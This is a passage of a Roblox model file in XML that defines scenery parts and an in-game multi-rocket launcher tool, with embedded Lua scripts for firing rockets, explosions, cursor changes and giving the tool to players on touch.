						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1822.49817</X>
							<Y>10.2056694</Y>
							<Z>182.500366</Z>
							<R00>-0.999994755</R00>
							<R01>-0.000152590597</R01>
							<R02>3.12631254e-010</R02>
							<R10>-0.000152589622</R10>
							<R11>1</R11>
							<R12>3.05160938e-005</R12>
							<R20>-4.95290742e-009</R20>
							<R21>3.05166323e-005</R21>
							<R22>-0.999994755</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4523">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1822.49817</X>
							<Y>10.2055779</Y>
							<Z>185.500366</Z>
							<R00>-0.999994755</R00>
							<R01>-0.000152590597</R01>
							<R02>3.12631254e-010</R02>
							<R10>-0.000152589622</R10>
							<R11>1</R11>
							<R12>3.05160938e-005</R12>
							<R20>-4.95290742e-009</R20>
							<R21>3.05166323e-005</R21>
							<R22>-0.999994755</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4524">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-1822.49817</X>
							<Y>9.8055563</Y>
							<Z>186.500244</Z>
							<R00>3.12631254e-010</R00>
							<R01>-0.000152590597</R01>
							<R02>0.999994755</R02>
							<R10>3.05160938e-005</R10>
							<R11>1</R11>
							<R12>0.000152589622</R12>
							<R20>-0.999994755</R20>
							<R21>3.05166323e-005</R21>
							<R22>4.95290742e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4525">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<string name="Name">Multiple</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Sound" referent="RBX4526">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4527">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=12222095</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4528">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1822.90942</X>
									<Y>9.19554043</Y>
									<Z>183.70166</Z>
									<R00>0.000152365217</R00>
									<R01>-0.0326998867</R01>
									<R02>0.999463856</R02>
									<R10>-0.999999881</R10>
									<R11>2.44769944e-005</R11>
									<R12>0.000153349829</R12>
									<R20>-2.93596531e-005</R20>
									<R21>-0.999463856</R21>
									<R22>-0.032700032</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.000383548613</X>
									<Y>3.3290803e-008</Y>
									<Z>-0.00170811091</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.000410398905</X>
									<Y>0.00754819158</Y>
									<Z>0.000719973061</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4529">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX4530">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = true

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(12)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="LocalScript" referent="RBX4531">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	wait(12)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4532">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 3
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4533">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4534">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1822.49768</X>
							<Y>6.60546207</Y>
							<Z>184.000244</Z>
							<R00>-0.999994755</R00>
							<R01>-0.000152590597</R01>
							<R02>3.12631254e-010</R02>
							<R10>-0.000152589622</R10>
							<R11>1</R11>
							<R12>3.05160938e-005</R12>
							<R20>-4.95290742e-009</R20>
							<R21>3.05166323e-005</R21>
							<R22>-0.999994755</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4535">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1820.49817</X>
							<Y>10.2059212</Y>
							<Z>184.500366</Z>
							<R00>-3.12631254e-010</R00>
							<R01>-0.000152590597</R01>
							<R02>-0.999994755</R02>
							<R10>-3.05160938e-005</R10>
							<R11>1</R11>
							<R12>-0.000152589622</R12>
							<R20>0.999994755</R20>
							<R21>3.05166323e-005</R21>
							<R22>-4.95290742e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4536">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Caution: DO NOT REMOVE</string>
						<ProtectedString name="Source">local h = Instance.new(&quot;Hint&quot;)
h.Parent = game.Workspace
h.Text = &quot;I thank Sgtcrazylegs for another one of his quality products&quot;</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4537">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4538">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1815.49805</X>
							<Y>9.00710297</Y>
							<Z>185.500366</Z>
							<R00>-0.999998748</R00>
							<R01>-0.000129477223</R01>
							<R02>1.04791579e-005</R02>
							<R10>-0.000129476786</R10>
							<R11>1</R11>
							<R12>4.31596563e-005</R12>
							<R20>-1.04847422e-005</R20>
							<R21>4.31583539e-005</R21>
							<R22>-0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4539">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4540">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1817.49805</X>
							<Y>9.00667953</Y>
							<Z>184.500366</Z>
							<R00>-2.09582959e-005</R00>
							<R01>-0.000106364212</R01>
							<R02>-0.99999845</R02>
							<R10>-5.58026513e-005</R10>
							<R11>1</R11>
							<R12>-0.000106362946</R12>
							<R20>0.99999845</R20>
							<R21>5.58004976e-005</R21>
							<R22>-2.09642276e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4541">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4542">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-1815.49609</X>
							<Y>8.7119751</Y>
							<Z>186.50061</Z>
							<R00>2.09527025e-005</R00>
							<R01>-0.000258954737</R01>
							<R02>0.999997497</R02>
							<R10>8.63206151e-005</R10>
							<R11>1</R11>
							<R12>0.000258952961</R12>
							<R20>-0.999997497</R20>
							<R21>8.63152964e-005</R21>
							<R22>2.09750469e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4543">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<string name="Name">MultiRocket</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4544">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,6)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
